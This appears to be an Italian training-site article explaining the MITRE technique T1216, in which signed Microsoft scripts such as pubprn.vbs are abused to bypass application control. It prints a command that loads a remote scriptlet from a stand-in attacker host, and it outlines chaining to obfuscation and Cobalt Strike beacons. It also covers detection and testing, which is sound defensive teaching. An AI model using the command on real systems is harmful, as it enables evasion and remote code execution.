Esecuzione Proxy tramite Script di Sistema: System Script Proxy Execution (T1216)
La tecnica T1216 - System Script Proxy Execution rientra nella tattica TA0005 (Defense Evasion) e sfrutta script firmati digitalmente da Microsoft, presenti di default nelle installazioni Windows o scaricabili da fonti ufficiali, per eseguire codice malevolo per procura. L'attaccante non porta con sé binari sospetti: si appoggia a script legittimi come pubprn.vbs, script di deployment o utility firmate, che godono della fiducia implicita del sistema operativo e delle soluzioni di application control.
Il valore operativo di questa tecnica risiede nella capacità di bypassare AppLocker, WDAC e meccanismi di signature validation. Un file .vbs firmato da Microsoft viene considerato affidabile da molte configurazioni predefinite, permettendo di caricare payload esterni senza generare gli alert tipici associati all'esecuzione di eseguibili non firmati. Questo pattern è particolarmente insidioso perché la telemetria mostra un processo padre legittimo, spesso wscript.exe o cscript.exe, che avvia catene di esecuzione apparentemente innocue.
Dal punto di vista della kill chain, T1216 opera principalmente nelle fasi di Execution e Defense Evasion, spesso a valle di un Initial Access via phishing o exploit. È una variante della più ampia famiglia delle Living-off-the-Land Binaries (LOLBAS), e la sua efficacia dipende dalla presenza di script firmati non necessari all'operatività dell'ambiente ma comunque disponibili sui sistemi. La documentazione MITRE riporta una sola mitigazione ufficiale (M1038) e una copertura di detection focalizzata sulla transizione signed-to-unsigned nella catena di processi.
In un contesto di red team autorizzato, la simulazione di T1216 si concentra su script firmati Microsoft che accettano input arbitrari e possono essere piegati all'esecuzione di codice esterno. Il caso storico più noto è pubprn.vbs, uno script legittimo per la pubblicazione di stampanti che accetta un URL come secondo argomento e istanzia un oggetto COM dal moniker fornito. La sintassi documentata è del tipo:
cscript.exe C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://attacker/payload.sct
dove il moniker script: forza l'esecuzione di uno Scriptlet remoto. In un lab isolato si può sostituire l'endpoint con un listener locale per verificare la catena di esecuzione senza esposizione esterna.
Altri vettori documentati nella famiglia LOLBAS includono l'abuso di SyncAppvPublishingServer.vbs per eseguire comandi PowerShell bypassando le policy, e l'uso di slmgr.vbs con opzioni non standard. La community mantiene il progetto LOLBAS Project (open source, GitHub) come catalogo di riferimento per binari, script e librerie firmate abusabili: ogni voce include il comando esatto, il caso d'uso e le eventuali mitigazioni. Per la ricognizione locale su un target durante un engagement, Sigcheck di Sysinternals (gratuito) permette di identificare tutti gli script firmati Microsoft presenti sul sistema con sigcheck.exe -e -s C:\Windows.
Sul fronte dell'orchestrazione, framework come Atomic Red Team (open source) di Red Canary includono test atomici specifici per T1216, con procedure ripetibili che permettono di validare la copertura EDR senza sviluppare payload custom. Il test T1216-1 lancia proprio pubprn.vbs con un moniker controllato, generando telemetria pulita per il tuning delle detection.
Durante l'esecuzione è utile combinare la tecnica con T1027 (Obfuscated Files) offuscando lo Scriptlet remoto, e con T1105 (Ingress Tool Transfer) per il fetch del secondo stadio. Nei purple team exercise, la sequenza tipica prevede l'esecuzione dello script firmato, il caricamento di uno Scriptlet che istanzia PowerShell in Constrained Language Mode bypass, e infine il download di un beacon Cobalt Strike o Sliver (open source) come payload finale. La verifica di successo si misura sulla capacità dell'EDR di correlare parent firmato con child unsigned nella stessa timeline.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo